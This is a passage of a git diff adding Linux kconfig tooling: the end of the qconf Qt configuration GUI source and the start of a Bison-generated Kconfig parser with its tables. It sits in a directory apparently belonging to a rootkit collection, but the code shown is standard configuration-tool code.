menu_get_parent_menu(menu->parent); + if (!parent) + return; + item = menuList->findConfigItem(parent); + if (item) { + menuList->setSelected(item, TRUE); + menuList->ensureItemVisible(item); + } + list->setRootMenu(parent); + } + break; + case fullMode: + list = configList; + break; + default: + break; + } + + if (list) { + item = list->findConfigItem(menu); + if (item) { + list->setSelected(item, TRUE); + list->ensureItemVisible(item); + list->setFocus(); + } + } +} + +void ConfigMainWindow::listFocusChanged(void) +{ + if (menuList->mode == menuMode) + configList->clearSelection(); +} + +void ConfigMainWindow::goBack(void) +{ + ConfigItem* item; + + configList->setParentMenu(); + if (configList->rootEntry == &rootmenu) + backAction->setEnabled(FALSE); + item = (ConfigItem*)menuList->selectedItem(); + while (item) { + if (item->menu == configList->rootEntry) { + menuList->setSelected(item, TRUE); + break; + } + item = (ConfigItem*)item->parent(); + } +} + +void ConfigMainWindow::showSingleView(void) +{ + menuView->hide(); + menuList->setRootMenu(0); + configList->mode = singleMode; + if (configList->rootEntry == &rootmenu) + configList->updateListAll(); + else + configList->setRootMenu(&rootmenu); + configList->setAllOpen(TRUE); + configList->setFocus(); +} + +void ConfigMainWindow::showSplitView(void) +{ + configList->mode = symbolMode; + if (configList->rootEntry == &rootmenu) + configList->updateListAll(); + else + configList->setRootMenu(&rootmenu); + configList->setAllOpen(TRUE); + configApp->processEvents(); + menuList->mode = menuMode; + menuList->setRootMenu(&rootmenu); + menuList->setAllOpen(TRUE); + menuView->show(); + menuList->setFocus(); +} + +void ConfigMainWindow::showFullView(void) +{ + menuView->hide(); + menuList->setRootMenu(0); + configList->mode = fullMode; + if (configList->rootEntry == &rootmenu) + configList->updateListAll(); + else + configList->setRootMenu(&rootmenu); + configList->setAllOpen(FALSE); + configList->setFocus(); +} + +/* + * ask for saving configuration before quitting + * TODO ask only when something changed + */ +void ConfigMainWindow::closeEvent(QCloseEvent* e) +{ + if (!conf_get_changed()) { + e->accept(); + return; + } + QMessageBox mb("qconf", _("Save configuration?"), QMessageBox::Warning, + QMessageBox::Yes | QMessageBox::Default, QMessageBox::No, QMessageBox::Cancel | QMessageBox::Escape); + mb.setButtonText(QMessageBox::Yes, _("&Save Changes")); + mb.setButtonText(QMessageBox::No, _("&Discard Changes")); + mb.setButtonText(QMessageBox::Cancel, _("Cancel Exit")); + switch (mb.exec()) { + case QMessageBox::Yes: + if (saveConfig()) + e->accept(); + else + e->ignore(); + break; + case QMessageBox::No: + e->accept(); + break; + case QMessageBox::Cancel: + e->ignore(); + break; + } +} + +void ConfigMainWindow::showIntro(void) +{ + static const QString str = _("Welcome to the qconf graphical configuration tool.\n\n" + "For each option, a blank box indicates the feature is disabled, a check\n" + "indicates it is enabled, and a dot indicates that it is to be compiled\n" + "as a module. Clicking on the box will cycle through the three states.\n\n" + "If you do not see an option (e.g., a device driver) that you believe\n" + "should be present, try turning on Show All Options under the Options menu.\n" + "Although there is no cross reference yet to help you figure out what other\n" + "options must be enabled to support the option you are interested in, you can\n" + "still view the help of a grayed-out option.\n\n" + "Toggling Show Debug Info under the Options menu will show the dependencies,\n" + "which you can then match by examining other options.\n\n"); + + QMessageBox::information(this, "qconf", str); +} + +void ConfigMainWindow::showAbout(void) +{ + static const QString str = _("qconf is Copyright (C) 2002 Roman Zippel .\n\n" + "Bug reports and feature request can also be entered at http://bugzilla.kernel.org/\n"); + + QMessageBox::information(this, "qconf", str); +} + +void ConfigMainWindow::saveSettings(void) +{ + configSettings->writeEntry("/window x", pos().x()); + configSettings->writeEntry("/window y", pos().y()); + configSettings->writeEntry("/window width", size().width()); + configSettings->writeEntry("/window height", size().height()); + + QString entry; + switch(configList->mode) { + case singleMode : + entry = "single"; + break; + + case symbolMode : + entry = "split"; + break; + + case fullMode : + entry = "full"; + break; + + default: + break; + } + configSettings->writeEntry("/listMode", entry); + + configSettings->writeSizes("/split1", split1->sizes()); + configSettings->writeSizes("/split2", split2->sizes()); +} + +void ConfigMainWindow::conf_changed(void) +{ + if (saveAction) + saveAction->setEnabled(conf_get_changed()); +} + +void fixup_rootmenu(struct menu *menu) +{ + struct menu *child; + static int menu_cnt = 0; + + menu->flags |= MENU_ROOT; + for (child = menu->list; child; child = child->next) { + if (child->prompt && child->prompt->type == P_MENU) { + menu_cnt++; + fixup_rootmenu(child); + menu_cnt--; + } else if (!menu_cnt) + fixup_rootmenu(child); + } +} + +static const char *progname; + +static void usage(void) +{ + printf(_("%s \n"), progname); + exit(0); +} + +int main(int ac, char** av) +{ + ConfigMainWindow* v; + const char *name; + + bindtextdomain(PACKAGE, LOCALEDIR); + textdomain(PACKAGE); + + progname = av[0]; + configApp = new QApplication(ac, av); + if (ac > 1 && av[1][0] == '-') { + switch (av[1][1]) { + case 'h': + case '?': + usage(); + } + name = av[2]; + } else + name = av[1]; + if (!name) + usage(); + + conf_parse(name); + fixup_rootmenu(&rootmenu); + conf_read(NULL); + //zconfdump(stdout); + + configSettings = new ConfigSettings(); + configSettings->beginGroup("/kconfig/qconf"); + v = new ConfigMainWindow(); + + //zconfdump(stdout); + configApp->setMainWidget(v); + configApp->connect(configApp, SIGNAL(lastWindowClosed()), SLOT(quit())); + configApp->connect(configApp, SIGNAL(aboutToQuit()), v, SLOT(saveSettings())); + v->show(); + configApp->exec(); + + configSettings->endGroup(); + delete configSettings; + + return 0; +} diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/.pc/100-kconfig-generic-env.patch/zconf.tab.c_shipped b/Linux/Rootkits/Reptile/scripts/kconfig/.pc/100-kconfig-generic-env.patch/zconf.tab.c_shipped new file mode 100644 index 0000000..f343030 --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/.pc/100-kconfig-generic-env.patch/zconf.tab.c_shipped @@ -0,0 +1,2538 @@ +/* A Bison parser, made by GNU Bison 2.5. */ + +/* Bison implementation for Yacc-like parsers in C + + Copyright (C) 1984, 1989-1990, 2000-2011 Free Software Foundation, Inc. + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . */ + +/* As a special exception, you may create a larger work that contains + part or all of the Bison parser skeleton and distribute that work + under terms of your choice, so long as that work isn't itself a + parser generator using the skeleton or a modified version thereof + as a parser skeleton. Alternatively, if you modify or redistribute + the parser skeleton itself, you may (at your option) remove this + special exception, which will cause the skeleton and the resulting + Bison output files to be licensed under the GNU General Public + License without this special exception. + + This special exception was added by the Free Software Foundation in + version 2.2 of Bison. */ + +/* C LALR(1) parser skeleton written by Richard Stallman, by + simplifying the original so-called "semantic" parser. */ + +/* All symbols defined below should begin with yy or YY, to avoid + infringing on user name space. This should be done even for local + variables, as they might otherwise be expanded by user macros. + There are some unavoidable exceptions within include files to + define necessary library symbols; they are noted "INFRINGES ON + USER NAME SPACE" below. */ + +/* Identify Bison output. */ +#define YYBISON 1 + +/* Bison version. */ +#define YYBISON_VERSION "2.5" + +/* Skeleton name. */ +#define YYSKELETON_NAME "yacc.c" + +/* Pure parsers. */ +#define YYPURE 0 + +/* Push parsers. */ +#define YYPUSH 0 + +/* Pull parsers. */ +#define YYPULL 1 + +/* Using locations. */ +#define YYLSP_NEEDED 0 + +/* Substitute the variable and function names. */ +#define yyparse zconfparse +#define yylex zconflex +#define yyerror zconferror +#define yylval zconflval +#define yychar zconfchar +#define yydebug zconfdebug +#define yynerrs zconfnerrs + + +/* Copy the first part of user declarations. */ + + +/* + * Copyright (C) 2002 Roman Zippel + * Released under the terms of the GNU GPL v2.0. + */ + +#include +#include +#include +#include +#include +#include + +#include "lkc.h" + +#define printd(mask, fmt...) if (cdebug & (mask)) printf(fmt) + +#define PRINTD 0x0001 +#define DEBUG_PARSE 0x0002 + +int cdebug = PRINTD; + +extern int zconflex(void); +static void zconfprint(const char *err, ...); +static void zconf_error(const char *err, ...); +static void zconferror(const char *err); +static bool zconf_endtoken(const struct kconf_id *id, int starttoken, int endtoken); + +struct symbol *symbol_hash[SYMBOL_HASHSIZE]; + +static struct menu *current_menu, *current_entry; + + + + +/* Enabling traces. */ +#ifndef YYDEBUG +# define YYDEBUG 1 +#endif + +/* Enabling verbose error messages. */ +#ifdef YYERROR_VERBOSE +# undef YYERROR_VERBOSE +# define YYERROR_VERBOSE 1 +#else +# define YYERROR_VERBOSE 0 +#endif + +/* Enabling the token table. */ +#ifndef YYTOKEN_TABLE +# define YYTOKEN_TABLE 0 +#endif + + +/* Tokens. */ +#ifndef YYTOKENTYPE +# define YYTOKENTYPE + /* Put the tokens into the symbol table, so that GDB and other debuggers + know about them. */ + enum yytokentype { + T_MAINMENU = 258, + T_MENU = 259, + T_ENDMENU = 260, + T_SOURCE = 261, + T_CHOICE = 262, + T_ENDCHOICE = 263, + T_COMMENT = 264, + T_CONFIG = 265, + T_MENUCONFIG = 266, + T_HELP = 267, + T_HELPTEXT = 268, + T_IF = 269, + T_ENDIF = 270, + T_DEPENDS = 271, + T_OPTIONAL = 272, + T_PROMPT = 273, + T_TYPE = 274, + T_DEFAULT = 275, + T_SELECT = 276, + T_RANGE = 277, + T_VISIBLE = 278, + T_OPTION = 279, + T_ON = 280, + T_WORD = 281, + T_WORD_QUOTE = 282, + T_UNEQUAL = 283, + T_CLOSE_PAREN = 284, + T_OPEN_PAREN = 285, + T_EOL = 286, + T_OR = 287, + T_AND = 288, + T_EQUAL = 289, + T_NOT = 290 + }; +#endif + + + +#if ! defined YYSTYPE && ! defined YYSTYPE_IS_DECLARED +typedef union YYSTYPE +{ + + + char *string; + struct file *file; + struct symbol *symbol; + struct expr *expr; + struct menu *menu; + const struct kconf_id *id; + + + +} YYSTYPE; +# define YYSTYPE_IS_TRIVIAL 1 +# define yystype YYSTYPE /* obsolescent; will be withdrawn */ +# define YYSTYPE_IS_DECLARED 1 +#endif + + +/* Copy the second part of user declarations. */ + + +/* Include zconf.hash.c here so it can see the token constants. */ +#include "zconf.hash.c" + + + +#ifdef short +# undef short +#endif + +#ifdef YYTYPE_UINT8 +typedef YYTYPE_UINT8 yytype_uint8; +#else +typedef unsigned char yytype_uint8; +#endif + +#ifdef YYTYPE_INT8 +typedef YYTYPE_INT8 yytype_int8; +#elif (defined __STDC__ || defined __C99__FUNC__ \ + || defined __cplusplus || defined _MSC_VER) +typedef signed char yytype_int8; +#else +typedef short int yytype_int8; +#endif + +#ifdef YYTYPE_UINT16 +typedef YYTYPE_UINT16 yytype_uint16; +#else +typedef unsigned short int yytype_uint16; +#endif + +#ifdef YYTYPE_INT16 +typedef YYTYPE_INT16 yytype_int16; +#else +typedef short int yytype_int16; +#endif + +#ifndef YYSIZE_T +# ifdef __SIZE_TYPE__ +# define YYSIZE_T __SIZE_TYPE__ +# elif defined size_t +# define YYSIZE_T size_t +# elif ! defined YYSIZE_T && (defined __STDC__ || defined __C99__FUNC__ \ + || defined __cplusplus || defined _MSC_VER) +# include /* INFRINGES ON USER NAME SPACE */ +# define YYSIZE_T size_t +# else +# define YYSIZE_T unsigned int +# endif +#endif + +#define YYSIZE_MAXIMUM ((YYSIZE_T) -1) + +#ifndef YY_ +# if defined YYENABLE_NLS && YYENABLE_NLS +# if ENABLE_NLS +# include /* INFRINGES ON USER NAME SPACE */ +# define YY_(msgid) dgettext ("bison-runtime", msgid) +# endif +# endif +# ifndef YY_ +# define YY_(msgid) msgid +# endif +#endif + +/* Suppress unused-variable warnings by "using" E. */ +#if ! defined lint || defined __GNUC__ +# define YYUSE(e) ((void) (e)) +#else +# define YYUSE(e) /* empty */ +#endif + +/* Identity function, used to suppress warnings about constant conditions. */ +#ifndef lint +# define YYID(n) (n) +#else +#if (defined __STDC__ || defined __C99__FUNC__ \ + || defined __cplusplus || defined _MSC_VER) +static int +YYID (int yyi) +#else +static int +YYID (yyi) + int yyi; +#endif +{ + return yyi; +} +#endif + +#if ! defined yyoverflow || YYERROR_VERBOSE + +/* The parser invokes alloca or malloc; define the necessary symbols. */ + +# ifdef YYSTACK_USE_ALLOCA +# if YYSTACK_USE_ALLOCA +# ifdef __GNUC__ +# define YYSTACK_ALLOC __builtin_alloca +# elif defined __BUILTIN_VA_ARG_INCR +# include /* INFRINGES ON USER NAME SPACE */ +# elif defined _AIX +# define YYSTACK_ALLOC __alloca +# elif defined _MSC_VER +# include /* INFRINGES ON USER NAME SPACE */ +# define alloca _alloca +# else +# define YYSTACK_ALLOC alloca +# if ! defined _ALLOCA_H && ! defined EXIT_SUCCESS && (defined __STDC__ || defined __C99__FUNC__ \ + || defined __cplusplus || defined _MSC_VER) +# include /* INFRINGES ON USER NAME SPACE */ +# ifndef EXIT_SUCCESS +# define EXIT_SUCCESS 0 +# endif +# endif +# endif +# endif +# endif + +# ifdef YYSTACK_ALLOC + /* Pacify GCC's `empty if-body' warning. */ +# define YYSTACK_FREE(Ptr) do { /* empty */; } while (YYID (0)) +# ifndef YYSTACK_ALLOC_MAXIMUM + /* The OS might guarantee only one guard page at the bottom of the stack, + and a page size can be as small as 4096 bytes. So we cannot safely + invoke alloca (N) if N exceeds 4096. Use a slightly smaller number + to allow for a few compiler-allocated temporary stack slots. */ +# define YYSTACK_ALLOC_MAXIMUM 4032 /* reasonable circa 2006 */ +# endif +# else +# define YYSTACK_ALLOC YYMALLOC +# define YYSTACK_FREE YYFREE +# ifndef YYSTACK_ALLOC_MAXIMUM +# define YYSTACK_ALLOC_MAXIMUM YYSIZE_MAXIMUM +# endif +# if (defined __cplusplus && ! defined EXIT_SUCCESS \ + && ! ((defined YYMALLOC || defined malloc) \ + && (defined YYFREE || defined free))) +# include /* INFRINGES ON USER NAME SPACE */ +# ifndef EXIT_SUCCESS +# define EXIT_SUCCESS 0 +# endif +# endif +# ifndef YYMALLOC +# define YYMALLOC malloc +# if ! defined malloc && ! defined EXIT_SUCCESS && (defined __STDC__ || defined __C99__FUNC__ \ + || defined __cplusplus || defined _MSC_VER) +void *malloc (YYSIZE_T); /* INFRINGES ON USER NAME SPACE */ +# endif +# endif +# ifndef YYFREE +# define YYFREE free +# if ! defined free && ! defined EXIT_SUCCESS && (defined __STDC__ || defined __C99__FUNC__ \ + || defined __cplusplus || defined _MSC_VER) +void free (void *); /* INFRINGES ON USER NAME SPACE */ +# endif +# endif +# endif +#endif /* ! defined yyoverflow || YYERROR_VERBOSE */ + + +#if (! defined yyoverflow \ + && (! defined __cplusplus \ + || (defined YYSTYPE_IS_TRIVIAL && YYSTYPE_IS_TRIVIAL))) + +/* A type that is properly aligned for any stack member. */ +union yyalloc +{ + yytype_int16 yyss_alloc; + YYSTYPE yyvs_alloc; +}; + +/* The size of the maximum gap between one aligned stack and the next. */ +# define YYSTACK_GAP_MAXIMUM (sizeof (union yyalloc) - 1) + +/* The size of an array large to enough to hold all stacks, each with + N elements. */ +# define YYSTACK_BYTES(N) \ + ((N) * (sizeof (yytype_int16) + sizeof (YYSTYPE)) \ + + YYSTACK_GAP_MAXIMUM) + +# define YYCOPY_NEEDED 1 + +/* Relocate STACK from its old location to the new one. The + local variables YYSIZE and YYSTACKSIZE give the old and new number of + elements in the stack, and YYPTR gives the new location of the + stack. Advance YYPTR to a properly aligned location for the next + stack. */ +# define YYSTACK_RELOCATE(Stack_alloc, Stack) \ + do \ + { \ + YYSIZE_T yynewbytes; \ + YYCOPY (&yyptr->Stack_alloc, Stack, yysize); \ + Stack = &yyptr->Stack_alloc; \ + yynewbytes = yystacksize * sizeof (*Stack) + YYSTACK_GAP_MAXIMUM; \ + yyptr += yynewbytes / sizeof (*yyptr); \ + } \ + while (YYID (0)) + +#endif + +#if defined YYCOPY_NEEDED && YYCOPY_NEEDED +/* Copy COUNT objects from FROM to TO. The source and destination do + not overlap. */ +# ifndef YYCOPY +# if defined __GNUC__ && 1 < __GNUC__ +# define YYCOPY(To, From, Count) \ + __builtin_memcpy (To, From, (Count) * sizeof (*(From))) +# else +# define YYCOPY(To, From, Count) \ + do \ + { \ + YYSIZE_T yyi; \ + for (yyi = 0; yyi < (Count); yyi++) \ + (To)[yyi] = (From)[yyi]; \ + } \ + while (YYID (0)) +# endif +# endif +#endif /* !YYCOPY_NEEDED */ + +/* YYFINAL -- State number of the termination state. */ +#define YYFINAL 11 +/* YYLAST -- Last index in YYTABLE. */ +#define YYLAST 290 + +/* YYNTOKENS -- Number of terminals. */ +#define YYNTOKENS 36 +/* YYNNTS -- Number of nonterminals. */ +#define YYNNTS 50 +/* YYNRULES -- Number of rules. */ +#define YYNRULES 118 +/* YYNRULES -- Number of states. */ +#define YYNSTATES 191 + +/* YYTRANSLATE(YYLEX) -- Bison symbol number corresponding to YYLEX. */ +#define YYUNDEFTOK 2 +#define YYMAXUTOK 290 + +#define YYTRANSLATE(YYX) \ + ((unsigned int) (YYX) <= YYMAXUTOK ? yytranslate[YYX] : YYUNDEFTOK) + +/* YYTRANSLATE[YYLEX] -- Bison symbol number corresponding to YYLEX. */ +static const yytype_uint8 yytranslate[] = +{ + 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 1, 2, 3, 4, + 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, + 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, + 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, + 35 +}; + +#if YYDEBUG +/* YYPRHS[YYN] -- Index of the first RHS symbol of rule number YYN in + YYRHS. */ +static const yytype_uint16 yyprhs[] = +{ + 0, 0, 3, 6, 8, 11, 13, 14, 17, 20, + 23, 26, 31, 36, 40, 42, 44, 46, 48, 50, + 52, 54, 56, 58, 60, 62, 64, 66, 68, 72, + 75, 79, 82, 86, 89, 90, 93, 96, 99, 102, + 105, 108, 112, 117, 122, 127, 133, 137, 138, 142, + 143, 146, 150, 153, 155, 159, 160, 163, 166, 169, + 172, 175, 180, 184, 187, 192, 193, 196, 200, 202, + 206, 207, 210, 213, 216, 220, 224, 228, 230, 234, + 235, 238, 241, 244, 248, 252, 255, 258, 261, 262, + 265, 268, 271, 276, 277, 280, 283, 286, 287, 290, + 292, 294, 297, 300, 303, 305, 308, 309, 312, 314, + 318, 322, 326, 329, 333, 337, 339, 341, 342 +}; + +/* YYRHS -- A `-1'-separated list of the rules' RHS. */ +static const yytype_int8 yyrhs[] = +{ + 37, 0, -1, 81, 38, -1, 38, -1, 63, 39, + -1, 39, -1, -1, 39, 41, -1, 39, 55, -1, + 39, 67, -1, 39, 80, -1, 39, 26, 1, 31, + -1, 39, 40, 1, 31, -1, 39, 1, 31, -1, + 16, -1, 18, -1, 19, -1, 21, -1, 17, -1, + 22, -1, 20, -1, 23, -1, 31, -1, 61, -1, + 71, -1, 44, -1, 46, -1, 69, -1, 26, 1, + 31, -1, 1, 31, -1, 10, 26, 31, -1, 43, + 47, -1, 11, 26, 31, -1, 45, 47, -1, -1, + 47, 48, -1, 47, 49, -1, 47, 75, -1, 47, + 73, -1, 47, 42, -1, 47, 31, -1, 19, 78, + 31, -1, 18, 79, 82, 31, -1, 20, 83, 82, + 31, -1, 21, 26, 82, 31, -1, 22, 84, 84, + 82, 31, -1, 24, 50, 31, -1, -1, 50, 26, + 51, -1, -1, 34, 79, -1, 7, 85, 31, -1, + 52, 56, -1, 80, -1, 53, 58, 54, -1, -1, + 56, 57, -1, 56, 75, -1, 56, 73, -1, 56, + 31, -1, 56, 42, -1, 18, 79, 82, 31, -1, + 19, 78, 31, -1, 17, 31, -1, 20, 26, 82, + 31, -1, -1, 58, 41, -1, 14, 83, 81, -1, + 80, -1, 59, 62, 60, -1, -1, 62, 41, -1, + 62, 67, -1, 62, 55, -1, 3, 79, 81, -1, + 4, 79, 31, -1, 64, 76, 74, -1, 80, -1, + 65, 68, 66, -1, -1, 68, 41, -1, 68, 67, + -1, 68, 55, -1, 6, 79, 31, -1, 9, 79, + 31, -1, 70, 74, -1, 12, 31, -1, 72, 13, + -1, -1, 74, 75, -1, 74, 31, -1, 74, 42, + -1, 16, 25, 83, 31, -1, -1, 76, 77, -1, + 76, 31, -1, 23, 82, -1, -1, 79, 82, -1, + 26, -1, 27, -1, 5, 31, -1, 8, 31, -1, + 15, 31, -1, 31, -1, 81, 31, -1, -1, 14, + 83, -1, 84, -1, 84, 34, 84, -1, 84, 28, + 84, -1, 30, 83, 29, -1, 35, 83, -1, 83, + 32, 83, -1, 83, 33, 83, -1, 26, -1, 27, + -1, -1, 26, -1 +}; + +/* YYRLINE[YYN] -- source line where rule number YYN was defined. */ +static const yytype_uint16 yyrline[] = +{ + 0, 103, 103, 103, 105, 105, 107, 109, 110, 111, + 112, 113, 114, 118, 122, 122, 122, 122, 122, 122, + 122, 122, 126, 127, 128, 129, 130, 131, 135, 136, + 142, 150, 156, 164, 174, 176, 177, 178, 179, 180, + 181, 184, 192, 198, 208, 214, 220, 223, 225, 236, + 237, 242, 251, 256, 264, 267, 269, 270, 271, 272, + 273, 276, 282, 293, 299, 309, 311, 316, 324, 332, + 335, 337, 338, 339, 344, 351, 358, 363, 371, 374, + 376, 377, 378, 381, 389, 396, 403, 409, 416, 418, + 419, 420, 423, 431, 433, 434, 437, 444, 446, 451, + 452, 455, 456, 457, 461, 462, 465, 466, 469, 470, + 471, 472, 473, 474, 475, 478, 479, 482, 483 +}; +#endif + +#if YYDEBUG || YYERROR_VERBOSE || YYTOKEN_TABLE +/* YYTNAME[SYMBOL-NUM] -- String name of the symbol SYMBOL-NUM. + First, the terminals, then, starting at YYNTOKENS, nonterminals. */ +static const char *const yytname[] = +{ + "$end", "error", "$undefined", "T_MAINMENU", "T_MENU", "T_ENDMENU", + "T_SOURCE", "T_CHOICE", "T_ENDCHOICE", "T_COMMENT", "T_CONFIG", + "T_MENUCONFIG", "T_HELP", "T_HELPTEXT", "T_IF", "T_ENDIF", "T_DEPENDS", + "T_OPTIONAL", "T_PROMPT", "T_TYPE", "T_DEFAULT", "T_SELECT", "T_RANGE", + "T_VISIBLE", "T_OPTION", "T_ON", "T_WORD", "T_WORD_QUOTE", "T_UNEQUAL", + "T_CLOSE_PAREN", "T_OPEN_PAREN", "T_EOL", "T_OR", "T_AND", "T_EQUAL", + "T_NOT", "$accept", "input", "start", "stmt_list", "option_name", + "common_stmt", "option_error", "config_entry_start", "config_stmt", + "menuconfig_entry_start", "menuconfig_stmt", "config_option_list", + "config_option", "symbol_option", "symbol_option_list", + "symbol_option_arg", "choice", "choice_entry", "choice_end", + "choice_stmt", "choice_option_list", "choice_option", "choice_block", + "if_entry", "if_end", "if_stmt", "if_block", "mainmenu_stmt", "menu", + "menu_entry", "menu_end", "menu_stmt", "menu_block", "source_stmt", + "comment", "comment_stmt", "help_start", "help", "depends_list", + "depends", "visibility_list", "visible", "prompt_stmt_opt", "prompt", + "end", "nl", "if_expr", "expr", "symbol", "word_opt", 0 +}; +#endif + +# ifdef YYPRINT +/* YYTOKNUM[YYLEX-NUM] -- Internal token number corresponding to + token YYLEX-NUM. */ +static const yytype_uint16 yytoknum[] = +{ + 0, 256, 257, 258, 259, 260, 261, 262, 263, 264, + 265, 266, 267, 268, 269, 270, 271, 272, 273, 274, + 275, 276, 277, 278, 279, 280, 281, 282, 283, 284, + 285, 286, 287, 288, 289, 290 +}; +# endif + +/* YYR1[YYN] -- Symbol number of symbol that rule YYN derives. */ +static const yytype_uint8 yyr1[] = +{ + 0, 36, 37, 37, 38, 38, 39, 39, 39, 39, + 39, 39, 39, 39, 40, 40, 40, 40, 40, 40, + 40, 40, 41, 41, 41, 41, 41, 41, 42, 42, + 43, 44, 45, 46, 47, 47, 47, 47, 47, 47, + 47, 48, 48, 48, 48, 48, 49, 50, 50, 51, + 51, 52, 53, 54, 55, 56, 56, 56, 56, 56, + 56, 57, 57, 57, 57, 58, 58, 59, 60, 61, + 62, 62, 62, 62, 63, 64, 65, 66, 67, 68, + 68, 68, 68, 69, 70, 71, 72, 73, 74, 74, + 74, 74, 75, 76, 76, 76, 77, 78, 78, 79, + 79, 80, 80, 80, 81, 81, 82, 82, 83, 83, + 83, 83, 83, 83, 83, 84, 84, 85, 85 +}; + +/* YYR2[YYN] -- Number of symbols composing right hand side of rule YYN. */ +static const yytype_uint8 yyr2[] = +{ + 0, 2, 2, 1, 2, 1, 0, 2, 2, 2, + 2, 4, 4, 3, 1, 1, 1, 1, 1, 1, + 1, 1, 1, 1, 1, 1, 1, 1, 3, 2, + 3, 2, 3, 2, 0, 2, 2, 2, 2, 2, + 2, 3, 4, 4, 4, 5, 3, 0, 3, 0, + 2, 3, 2, 1, 3, 0, 2, 2, 2, 2, + 2, 4, 3, 2, 4, 0, 2, 3, 1, 3, + 0, 2, 2, 2, 3, 3, 3, 1, 3, 0, + 2, 2, 2, 3, 3, 2, 2, 2, 0, 2, + 2, 2, 4, 0, 2, 2, 2, 0, 2, 1, + 1, 2, 2, 2, 1, 2, 0, 2, 1, 3, + 3, 3, 2, 3, 3, 1, 1, 0, 1 +}; + +/* YYDEFACT[STATE-NAME] -- Default reduction number in state STATE-NUM. + Performed when YYTABLE doesn't specify something else to do. Zero + means the default is an error. */ +static const yytype_uint8 yydefact[] = +{ + 6, 0, 104, 0, 3, 0, 6, 6, 99, 100, + 0, 1, 0, 0, 0, 0, 117, 0, 0, 0, + 0, 0, 0, 14, 18, 15, 16, 20, 17, 19, + 21, 0, 22, 0, 7, 34, 25, 34, 26, 55, + 65, 8, 70, 23, 93, 79, 9, 27, 88, 24, + 10, 0, 105, 2, 74, 13, 0, 101, 0, 118, + 0, 102, 0, 0, 0, 115, 116, 0, 0, 0, + 108, 103, 0, 0, 0, 0, 0, 0, 0, 88, + 0, 0, 75, 83, 51, 84, 30, 32, 0, 112, + 0, 0, 67, 0, 0, 11, 12, 0, 0, 0, + 0, 97, 0, 0, 0, 47, 0, 40, 39, 35, + 36, 0, 38, 37, 0, 0, 97, 0, 59, 60, + 56, 58, 57, 66, 54, 53, 71, 73, 69, 72, + 68, 106, 95, 0, 94, 80, 82, 78, 81, 77, + 90, 91, 89, 111, 113, 114, 110, 109, 29, 86, + 0, 106, 0, 106, 106, 106, 0, 0, 0, 87, + 63, 106, 0, 106, 0, 96, 0, 0, 41, 98, + 0, 0, 106, 49, 46, 28, 0, 62, 0, 107, + 92, 42, 43, 44, 0, 0, 48, 61, 64, 45, + 50 +}; + +/* YYDEFGOTO[NTERM-NUM]. */ +static const yytype_int16 yydefgoto[] = +{ + -1, 3, 4, 5, 33, 34, 108, 35, 36, 37, + 38, 74, 109, 110, 157, 186, 39, 40, 124, 41, + 76, 120, 77, 42, 128, 43, 78, 6, 44, 45, + 137, 46, 80, 47, 48, 49, 111, 112, 81, 113, + 79, 134, 152, 153, 50, 7, 165, 69, 70, 60 +}; + +/* YYPACT[STATE-NUM] -- Index in YYTABLE of the portion describing + STATE-NUM. */ +#define YYPACT_NINF -90 +static const yytype_int16 yypact[] = +{ + 4, 42, -90, 96, -90, 111, -90, 15, -90, -90, + 75, -90, 82, 42, 104, 42, 110, 107, 42, 115, + 125, -4, 121, -90, -90, -90, -90, -90, -90, -90, + -90, 162, -90, 163, -90, -90, -90, -90, -90, -90, + -90, -90, -90, -90, -90, -90, -90, -90, -90, -90, + -90, 139, -90, -90, 138, -90, 142, -90, 143, -90, + 152, -90, 164, 167, 168, -90, -90, -4, -4, 77, + -18, -90, 177, 185, 33, 71, 195, 247, 236, -2, + 236, 171, -90, -90, -90, -90, -90, -90, 41, -90, + -4, -4, 138, 97, 97, -90, -90, 186, 187, 194, + 42, 42, -4, 196, 97, -90, 219, -90, -90, -90, + -90, 210, -90, -90, 204, 42, 42, 199, -90, -90, + -90, -90, -90, -90, -90, -90, -90, -90, -90, -90, + -90, 222, -90, 223, -90, -90, -90, -90, -90, -90, + -90, -90, -90, -90, 215, -90, -90, -90, -90, -90, + -4, 222, 228, 222, -5, 222, 97, 35, 229, -90, + -90, 222, 232, 222, -4, -90, 135, 233, -90, -90, + 234, 235, 222, 240, -90, -90, 237, -90, 239, -13, + -90, -90, -90, -90, 244, 42, -90, -90, -90, -90, + -90 +}; + +/* YYPGOTO[NTERM-NUM]. */ +static const yytype_int16 yypgoto[] = +{ + -90, -90, 269, 271, -90, 23, -70, -90, 